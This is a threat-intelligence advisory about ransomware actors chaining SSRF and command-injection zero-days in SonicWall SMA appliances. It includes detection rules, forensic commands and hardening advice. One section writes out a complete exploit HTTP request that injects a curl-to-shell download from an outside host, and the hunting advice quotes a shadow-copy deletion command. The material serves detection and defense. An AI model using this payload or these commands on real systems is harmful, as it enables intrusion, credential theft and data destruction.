Network Perimeter Threat: Inc Ransomware Group Weaponizes SonicWall SMA Zero-Days

Threat intelligence teams and incident response investigators from Volexity and Rapid7 have uncovered an active in-the-wild zero-day campaign weaponizing SonicWall Secure Mobile Access (SMA) 1000 Series appliances. Attributed to the Inc Ransomware syndicate (tracked in security registries as UTA0533), the threat actors chained two zero-day flaws—an unauthenticated Server-Side Request Forgery (SSRF) flaw tracked as CVE-2026-15409 (CVSS 10.0) and an administrative command injection flaw cataloged as CVE-2026-15410—to obtain unauthenticated root code execution, siphon active Active Directory session credentials, and execute domain-wide extortion payloads.

The Strategic Vulnerability of SSL-VPN Edge Appliances

SSL-VPN and Secure Remote Access appliances sit directly on enterprise network perimeters, terminating external TLS handshakes and bridging authenticated remote employees onto internal corporate subnets. Because these appliances must face the public internet to authenticate teleworkers, they represent high-priority targets for ransomware cartels seeking initial access vectors that avoid endpoint defenses.

When an edge gateway is compromised, traditional endpoint detection agents installed on internal Windows workstations offer zero visibility into the initial breach. Attackers operate unhindered within the appliance's underlying Linux operating system, using the device as an unmonitored command-and-control platform and network pivot.

Deconstructing the Two-Stage Zero-Day Exploit Chain

The attack chain crafted by UTA0533 represents a masterclass in modern edge-device exploitation, combining authentication bypass via SSRF with backend command injection:

1. Unauthenticated SSRF (CVE-2026-15409): The initial access vector resides within the SonicWall SMA "WorkPlace" portal interface. An unauthenticated remote attacker dispatches a malformed HTTP request to an exposed web handler. The handler fails to sanitize user-controlled URL redirect parameters, forcing the frontend web server to dispatch internal HTTP calls to loopback services listening on restricted internal ports (such as http://127.0.0.1:8080/internal/mgmt).
2. Authentication Boundary Collapse: Because internal management services implicitly trust traffic originating from 127.0.0.1, the SSRF primitive enables the attacker to interact with backend administrative endpoints without presenting valid administrative session cookies or multi-factor credentials.
3. Root Command Injection (CVE-2026-15410): Utilizing the SSRF bridge, the attacker calls an internal diagnostic parameter configuration routine. By injecting shell metacharacters (such as backticks or semicolon command separators) into an unsanitized system diagnostic field, the payload escapes the argument string and executes arbitrary shell commands under the root Linux account.
4. In-Memory Payload Delivery: The injected command invokes curl or raw TCP sockets to download a lightweight, memory-resident ELF backdoor directly into /dev/shm, establishing an encrypted TLS reverse shell back to attacker infrastructure.

# Threat Actor Exploitation Primitive: SSRF Ingress to Command Injection
POST /workplace/portal/preview.html HTTP/1.1
Host: vpn.target-enterprise.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

forward_url=http://127.0.0.1:8080/internal/mgmt/diag?ping_host=127.0.0.1;curl${IFS}-s${IFS}https://telemetry-gateway.net/bin/stage.elf|sh;

Post-Exploitation Forensics: Siphoning Active AD Credentials

Once root privileges are established on the SonicWall appliance, Inc Ransomware actors execute memory-carving routines against the SSL-VPN session manager daemon. Because SonicWall SMA appliances validate user credentials against internal Active Directory Domain Controllers via LDAP or RADIUS, the session management daemon temporarily caches unencrypted user credentials in memory to support single sign-on (SSO) to backend web applications.

By dumping the memory of the authentication process or reading SQLite temporary databases located in /var/ramdisk/, the attackers extract hundreds of valid corporate usernames, plaintext passwords, and Kerberos Ticket Granting Tickets (TGTs). With valid enterprise credentials in hand, the threat actors authenticate over the appliance's internal virtual network adapter, navigating corporate internal subnets without generating anomalous network connection alerts.

# Forensic Shell Commands: Identifying Appliance Compromise Indicators
# 1. Check for Unauthorized ELF Binaries in Memory Filesystems
ls -la /dev/shm /tmp /var/tmp
# 2. Check for Suspicious Outbound Sockets from Apache or Management Daemons
netstat -tulnp | grep -E "(apache|httpd|mgmt)"
# 3. Inspect Process Lineage for Child Shells Spawned by Web Services
ps auxf | grep -E "(sh|bash|curl|wget)"

Suricata and Snort Network Detection Signatures

To detect in-flight exploitation attempts targeting perimeter SonicWall SMA devices, network security monitoring sensors deployed in front of VPN concentrators should load the following Suricata / Snort 3 rule:

alert http any any -> $HOME_NET [443,8443] (
    msg:"ET EXPLOIT SonicWall SMA 1000 Series SSRF Ingress (CVE-2026-15409)";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/workplace/portal/preview.html";
    http.request_body; content:"forward_url="; nocase;
    pcre:"/forward_url=(https?%3A%2F%2F|https?://)(127\.0\.0\.1|localhost|0\.0\.0\.0)/i";
    classtype:web-application-attack;
    sid:202615409;
    rev:1;
)

Incident Containment and SonicWall Perimeter Hardening

Organizations operating SonicWall SMA 1000 Series appliances (including models SMA 6200, 6210, 7200, 7210, and 8000v virtual appliances) must immediately execute defensive triage:

• Apply Emergency Firmware Patches: Immediately install the SonicWall emergency firmware maintenance release (version 12.4.3-hotfix2 or later) that patches the SSRF request parsing logic and sanitizes shell parameters inside administrative diagnostic scripts.
• Restrict Ingress Management Access: Configure upstream edge firewalls to restrict access to SonicWall management interfaces. If remote user VPN access is required, restrict WorkPlace web portals to known corporate source IP ranges or require pre-authentication access proxies.
• Enforce Forest-Wide Password Resets: If an appliance is suspected of running an unpatched firmware build during the active exploitation window, assume all Active Directory accounts that logged in through the SSL-VPN portal are fully compromised. Execute mandatory enterprise-wide password resets and invalidate active Kerberos tickets (double reset of the krbtgt account).
• Revoke Appliance Certificates: Re-generate all SSL/TLS host certificates, device identity keys, and RADIUS shared secrets associated with the compromised gateway.
• Deploy Endpoint Hunting for Inc Ransomware IOCs: Scan internal Windows systems for Inc Ransomware secondary tools—such as Megatools (used for cloud data staging), Advanced Port Scanner, and custom batch scripts that terminate volume shadow copy services (vssadmin delete shadows /all /quiet).